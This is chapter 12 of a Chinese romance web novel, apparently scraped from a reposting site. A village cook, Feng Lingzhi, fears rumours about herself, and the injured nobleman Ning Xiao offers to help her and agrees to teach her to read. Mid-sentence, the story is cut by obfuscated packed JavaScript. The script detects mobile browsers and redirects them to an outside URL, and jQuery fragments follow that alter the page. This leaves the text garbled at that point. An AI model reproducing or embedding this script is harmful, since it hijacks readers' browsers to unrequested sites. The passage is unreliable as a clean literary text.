12. 第 12 章
作品:《腹黑世子强夺老实村妇》 冯灵芝把开水盛出来,又蹲回灶台前头,开始做晚饭。
灶膛里的火苗一蹿一蹿的,映在她脸上,暖烘烘的。可她心里头一点都暖不起来。
今天的晚饭她做得格外慢。
切菜慢——手里的刀拿起来,切一刀,停一停,再切一刀,再停一停。一根萝卜切了半晌,还剩下大半截。
洗米慢——米在盆里淘了一遍又一遍,淘得水都清了,她还捧着那个盆,盯着米发愣。
添柴慢——一根柴火拿起来,看一看,放下;又拿起另一根,再看一看,再放下。灶膛里的火都快灭了,她才想起来往里添。
她不想做完。
她甚至想就这样一直做下去,做到天荒地老。灶膛里的火一直烧着,锅里的水一直咕嘟着,她就一直蹲在这儿,不用出去,不用面对那个人。
她害怕。
害怕逍公子问起那些传言。害怕他去找村里人打听。害怕他听说了“命硬”“克亲”那些话,连夜就走。
她更害怕他问起今天的事——问起那个死了三个婆娘的老鳏夫,问起她差点说出口的那个“好”。他要是知道了,会怎么看她?会觉得她轻贱吗?会觉得她随便是个人就愿意嫁吗?
她怕的东西太多了,多得她自己都数不清。
她像一只蜗牛,缩在壳里,把头埋得低低的。她想,今天的晚饭,干脆自己就在灶房吃算了。反正以前也是这么过的。反正……
帘子突然被掀开了。
冯灵芝吓了一跳,手里的柴火差点掉进灶膛。她猛地回过头——
那人站在门口。
身上穿着她做的那身灰蓝色衣裳,傍晚的余晖从他身后照进来,把他的轮廓勾出一道金边。他二话没说,走到灶台边,端起那锅刚炖好的汤,又端起装饼的碗,转身就走。
冯灵芝愣在那儿,看着他走出去的背影,张了张嘴,什么都没说出来。
她只好站起来。
站起来的时候,腿有点软。她扶着灶台站了一会儿,才一步一步地往外挪。
挪到主屋门口,她站住了。门帘半掀着,能看见里头——那人已经把汤和饼放在桌上了,正坐在木墩上,等着她。
她深吸一口气,掀开帘子走进去。
磨磨蹭蹭地走到那张小饭桌边,在那只小板凳上坐下。坐下去的时候,她故意坐得离桌子远了点,像是随时准备跑似的。
那人正拿着碗,要给她盛汤。
勺子刚伸进锅里,冯灵芝忽然哆嗦了一下。
她也不知道自己怎么就哆嗦了。就是看见他拿碗的动作,心里头一紧,身子就先动了。
那人动作顿了顿。
他看了她一眼,没说话,继续盛汤。盛好了,把碗推到她面前。
冯灵芝低着头,盯着那碗汤,不敢动。汤面上飘着油花,还冒着热气,可她没有伸手去端。
那人看着她,忽然叹了口气。
“我方才说的话……”他开口。
“你方才的话是为了应付杨媒婆,”冯灵芝猛地抬起头,抢着说,“我知道的。”
她的语速快得惊人,声音也比平时大了许多,像是怕他听不清似的,又像是怕他再多说一个字。
“等你伤养好了,该去做什么就做什么。我不会因为那些话就赖上你的,你放心!”
话说完,她才发现自己喘得厉害。胸口一起一伏的,像是刚跑了一大段路。
那人拿着勺子的手顿了一下。
他看着眼前这个姑娘——她脸涨得通红,眼睛也红红的,可那眼神里,分明是怕。怕他误会,怕他嫌弃,怕他以为她有什么非分之想。
她缩着肩膀,攥着衣角,整个人紧绷得像一张弓。
他收回目光,继续把汤盛完。
“我方才的话都是认真的。”他说。
冯灵芝愣住了。
那人把勺子放下,看着她。他的眼睛很亮,在油灯下显得格外清晰。
“我这伤还要养一阵,”他说,“老让你在那间破灶房里挤着也不是个事儿。”
他顿了顿,目光在她脸上扫了一圈。
“这两间房,咱们还是得修缮起来。也不用请人,就自己动手,免得人多耳杂。买材料的事交给我。”
“不……”冯灵芝刚开口,他就抬手摆了摆,示意她听完。
“你做饭确实好吃。”他说,“我之前说你有在京城开个小饭馆的能力,也不是在胡扯。等我家里的事处理完了,回去的那天,你若愿意,也可以跟我回京城。”
他顿了一下,目光在她脸上停了一瞬。那目光里有点什么,冯灵芝看不懂,可她觉得自己的心跳快了快。
“无论是在我家里某个差事,还是要自己开店,我都能为你周旋个一二。”
冯灵芝听着,眼眶忽然热了。
她低下头,盯着面前的碗。碗里的汤冒着热气,熏得她眼睛发酸。她眨了眨眼,想把那点热意压下去,可越眨越酸。
这人不但没嫌弃她,还要帮她……
他是这世上,除了奶奶之外的,第二个真心实意想为她将来谋出路的人。
奶奶在的时候,总说,我们灵芝是个好孩子,将来会有好日子过的。可奶奶说了一辈子,也没等到她的好日子。后来奶奶走了,就再没人跟她说过这样的话了。
她吸了吸鼻子。
“真、真的不用。”她听见自己的声音在发颤,嗓子眼里像是堵了什么东西,说得艰难,“你能在我这里住、不嫌弃我做的饭,还……还愿意跟我说话。我就已经很开心很开心了,真的。”
她顿了顿,又吸了吸鼻子。
“而且……不是已经给过我金锭子了么?已经足够了,真的。足够了。”
别的福分,她怕自己受不起。
她是什么人?她是村口婆子嘴里那个“命硬”“克亲”的冯灵芝。是那个贴着墙根走路、没人愿意多看一眼的冯灵芝。这样的她,能有人愿意跟她说话,愿意吃她做的饭,已经是做梦都不敢想的事了。
她不敢要更多。
那人看着她,没再继续坚持。
他的目光从她脸上移开,落在桌上的油灯上。火苗一跳一跳的,把他的影子映在墙上,一晃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391781|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一晃的。
“不着急。”他说,声音比刚才低了些,“反正我这话随时作数。你若想开了,随时找我。”
“嗯!”冯灵芝用力点点头。
她端起碗,把头埋下去,开始扒饭。扒得很急,像是怕停下来会哭出来似的。
那人看着她。
她低着头,拼命扒饭,只能看见她头顶的两个旋,还有一截红红的耳尖。那耳尖红得发烫,从刚才到现在就没退下去过。鼻尖也是红的,被热气熏的,还是别的什么,他说不上来。
他心底忽然软了一下。
他说不上来那是什么感觉。就是看见她那个样子——低着头,拼命扒饭,一声都不吭,可那红红的鼻尖和耳尖,什么都藏不住——他忽然想说点什么。
鬼使神差的,他又补了一句:
“你若有其他想找我帮忙的,也可以随时说。”
冯灵芝依旧埋着头,可点头的幅度更大了。头一点一点的,像小鸡啄米似的。
那人看着她,嘴角动了动,没再说话。
这顿饭吃得依旧沉默。
可前几天那种尴尬的气氛,不知什么时候,荡然无存了。
锅里的汤还冒着热气。桌上的油灯跳着一点小火苗,把两个人的影子映在墙上,一左一右的晃,偶尔有风吹进来,两个影子短暂地交织在一起又分开……
外头偶尔传来几声狗叫,隔得远,听不真切。灶房那边,还有柴火燃烧的噼啪声,断断续续的。
冯灵芝慢慢吃着,一碗饭吃了很久。可她不再紧张了,不再怕了。她就那么坐着,偶尔抬头看一眼对面的他,又赶紧低下头去。
接近尾声的时候,她忽然开口。
“那个……”她说,声音轻轻的,有点迟疑,“你能教我识字吗?”
那人抬起头,看着她。
她坐在小板凳上,双手捧着碗,这会儿抬起头来了,正看着他。
油灯的光照在她脸上,把她的轮廓勾得柔柔的。虽然脸上看不见泪水,可眼尾是红的,鼻尖也是红的。一双眼睛湿漉漉的,被光一照,亮得出奇,像是山里的泉水,又像是雨后的天空。
她就那样看着他。虔诚的,小心翼翼的,又带着点说不清的期待。那目光落在他身上,像是怕他拒绝,又像是相信他不会拒绝。
宁逍看着那双眼睛,心跳忽然漏了一拍。
那一下来得太快,快得他自己都没反应过来。他只是看着她,看着那双湿漉漉的、亮得出奇的眼睛,忽然有点说不出话来。那眼神太虔诚了,虔诚得让他不敢多看,又移不开眼。他见过许多人的眼睛,有算计的,有奉承的,有害怕的,有贪婪的,可从来没有哪一双像她这样——像是在祷告、像是在许愿,又像是在……看神明。
他想起第一次见她的时候,她站在门边,低着头,连看都不敢看他。后来她慢慢敢抬头了,敢偷偷看他了,敢在他说话的时候脸红耳朵红了。
可从来没有哪一次,她像现在这样看着他。
这么近,这么亮,这么……让人没法拒绝。
“好。”他听见自己说。

